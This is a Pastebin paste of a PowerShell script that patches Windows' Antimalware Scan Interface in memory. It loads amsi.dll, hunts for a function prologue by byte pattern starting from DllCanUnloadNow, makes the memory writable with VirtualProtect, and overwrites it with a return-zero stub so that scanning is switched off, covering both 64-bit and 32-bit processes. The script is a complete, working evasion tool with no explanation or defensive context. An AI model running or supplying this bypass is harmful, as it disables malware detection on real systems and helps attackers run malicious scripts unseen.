m1dw0rd

Untitled

May 22nd, 2022
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $Kernel32 = @"
  2. using System;
  3. using System.Runtime.InteropServices;
  4.  
  5. public class Kernel32 {
  6.    [DllImport("kernel32")]
  7.    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
  8.  
  9.    [DllImport("kernel32")]
  10.    public static extern IntPtr LoadLibrary(string lpLibFileName);
  11.  
  12.    [DllImport("kernel32")]
  13.    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
  14. }
  15. "@
  16.  
  17. Add-Type $Kernel32
  18.  
  19. Class Hunter {
  20.     static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
  21.         while ($true) {
  22.             [int]$count = 0
  23.  
  24.             while ($true) {
  25.                 [IntPtr]$address = [IntPtr]::Add($address, 1)
  26.                 If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
  27.                     $count++
  28.                     If ($count -eq $egg.Length) {
  29.                         return [IntPtr]::Subtract($address, $egg.Length - 1)
  30.                     }
  31.                 } Else { break }
  32.             }
  33.         }
  34.  
  35.         return $address
  36.     }
  37. }
  38.  
  39. [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
  40. Write-Host "[+] AMSI DLL Handle: $hModule"
  41.  
  42. [IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
  43. Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
  44.  
  45. If ([IntPtr]::Size -eq 8) {
  46.     Write-Host "[+] 64-bits process"
  47.     [byte[]]$egg = [byte[]] (
  48.         0x4C, 0x8B, 0xDC,       # mov     r11,rsp
  49.         0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx
  50.         0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp
  51.         0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi
  52.         0x57,                   # push    rdi
  53.         0x41, 0x56,             # push    r14
  54.         0x41, 0x57,             # push    r15
  55.         0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h
  56.     )
  57. } Else {
  58.     Write-Host "[+] 32-bits process"
  59.     [byte[]]$egg = [byte[]] (
  60.         0x8B, 0xFF,             # mov     edi,edi
  61.         0x55,                   # push    ebp
  62.         0x8B, 0xEC,             # mov     ebp,esp
  63.         0x83, 0xEC, 0x18,       # sub     esp,18h
  64.         0x53,                   # push    ebx
  65.         0x56                    # push    esi
  66.     )
  67. }
  68. [IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
  69. Write-Host "[+] Targeted address: $targetedAddress"
  70.  
  71. $oldProtectionBuffer = 0
  72. [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
  73.  
  74. $patch = [byte[]] (
  75.     0x31, 0xC0,    # xor rax, rax
  76.     0xC3           # ret  
  77. )
  78. [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
  79.  
  80. $a = 0
  81. [Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
  82.  
Advertisement
Add Comment
Please, Sign In to add comment